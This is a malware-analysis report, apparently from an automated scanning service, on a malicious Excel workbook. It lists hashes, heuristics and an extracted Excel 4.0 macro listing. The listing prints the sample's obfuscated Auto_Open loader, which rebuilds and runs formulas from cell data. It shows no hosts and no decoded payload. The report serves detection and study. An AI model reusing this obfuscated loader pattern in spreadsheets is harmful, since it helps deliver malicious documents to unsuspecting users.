Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7aa8e59c4f74b4d7…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:47:13 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 163bd751921f7e4320ad2ede3daf0b94 SHA-1: 3785ce4ee57a17bd324b6821bd199e5f3bfd7cd2 SHA-256: 7aa8e59c4f74b4d700744ec8e8a86b520e2445bd9c3238bc1ad62649fb96adc3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6760 bytes
SHA-256: 88e7cc92450fc2ab77c67e81f4e96e9441ce5aa1b72e924da8480386a2e2ccfc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WaCdywNgX
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B167 
' 0018     21 LABEL : Cell Value, String Constant - DyhSvk len=0 
' 0018     27 LABEL : Cell Value, String Constant - EJVAJjTByiAw len=0 
' 0018     26 LABEL : Cell Value, String Constant - GoVyHevZCpL len=0 
' 0018     26 LABEL : Cell Value, String Constant - GpDgPfvXmIk len=0 
' 0018     21 LABEL : Cell Value, String Constant - jiTIYa len=0 
' 0018     21 LABEL : Cell Value, String Constant - JsAoJW len=0 
' 0018     25 LABEL : Cell Value, String Constant - ktYZCjPAZp len=0 
' 0018     22 LABEL : Cell Value, String Constant - lMDPVaY len=0 
' 0018     27 LABEL : Cell Value, String Constant - LmjdQinLWXBa len=0 
' 0018     23 LABEL : Cell Value, String Constant - nCQRmkjy len=0 
' 0018     22 LABEL : Cell Value, String Constant - oeJyhRl len=0 
' 0018     27 LABEL : Cell Value, String Constant - pbMIgFaplqMz len=0 
' 0018     27 LABEL : Cell Value, String Constant - PmlBPycNDaWY len=0 
' 0018     26 LABEL : Cell Value, String Constant - QYxJHGxpCFI len=0 
' 0018     26 LABEL : Cell Value, String Constant - RYLxPkrotEH len=0 
' 0018     26 LABEL : Cell Value, String Constant - WEKitdraBRQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - wlolpBXn len=0 
' 0018     21 LABEL : Cell Value, String Constant - WrobPM len=0 
' 0018     27 LABEL : Cell Value, String Constant - XBapTUPDrSuo len=0 
' 0018     25 LABEL : Cell Value, String Constant - ziYJEYnNSG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WaCdywNgX,B77,"SET.NAME("LmjdQinLWXBa",VALUE("0"))",""
'  WaCdywNgX,B80,"SET.NAME("lMDPVaY",LmjdQinLWXBa)",""
'  WaCdywNgX,B85,"SET.NAME("PmlBPycNDaWY",LmjdQinLWXBa)",""
'  WaCdywNgX,B90,"SET.NAME("QYxJHGxpCFI",COUNTA(pbMIgFaplqMz))",""
'  WaCdywNgX,B92,"SET.NAME("jiTIYa",COUNTA(wlolpBXn))",""
'  WaCdywNgX,B94,[],""
'  WaCdywNgX,B97,"SET.NAME("nCQRmkjy","")",""
'  WaCdywNgX,B101,"lMDPVaY",""
'  WaCdywNgX,B106,"SET.NAME("DyhSvk",HLOOKUP("*",pbMIgFaplqMz,lMDPVaY,FALSE))",""
'  WaCdywNgX,B109,"oeJyhRl",""
'  WaCdywNgX,B112,"SET.NAME("GoVyHevZCpL",LmjdQinLWXBa)",""
'  WaCdywNgX,B115,[],""
'  WaCdywNgX,B118,"GoVyHevZCpL",""
'  WaCdywNgX,B123,"WEKitdraBRQ",""
'  WaCdywNgX,B127,"XBapTUPDrSuo",""
'  WaCdywNgX,B131,"ktYZCjPAZp",""
'  WaCdywNgX,B134,"SET.NAME("GpDgPfvXmIk",VALUE(HLOOKUP("*",wlolpBXn,ktYZCjPAZp,FALSE)))",""
'  WaCdywNgX,B137,"JsAoJW",""
'  WaCdywNgX,B142,"nCQRmkjy",""
'  WaCdywNgX,B147,"PmlBPycNDaWY",""
'  WaCdywNgX,B149,NEXT(),""
'  WaCdywNgX,B152,"EJVAJjTByiAw",""
'  WaCdywNgX,B156,"SET.NAME("f",INT(T(FORMULA(T(nCQRmkjy)&"",""&T(EJVAJjTByiAw)))))",""
'  WaCdywNgX,B159,"RYLxPkrotEH",""
'  WaCdywNgX,B161,NEXT(),""
'  WaCdywNgX,B165,RETURN(),""
'  WaCdywNgX,B186,"SET.NAME("ziYJEYnNSG",B77)",""
'  WaCdywNgX,B188,"pbMIgFaplqMz",""
'  WaCdywNgX,B191,"SET.NAME("wlolpBXn",R96C13)",""
'  WaCdywNgX,B194,"SET.NAME("RYLxPkrotEH",203)",""
'  WaCdywNgX,B197,"SET.NAME("WrobPM",2)",""
'  WaCdywNgX,B202,ziYJEYnNSG(),""
'  WaCdywNgX,B203,HALT(),""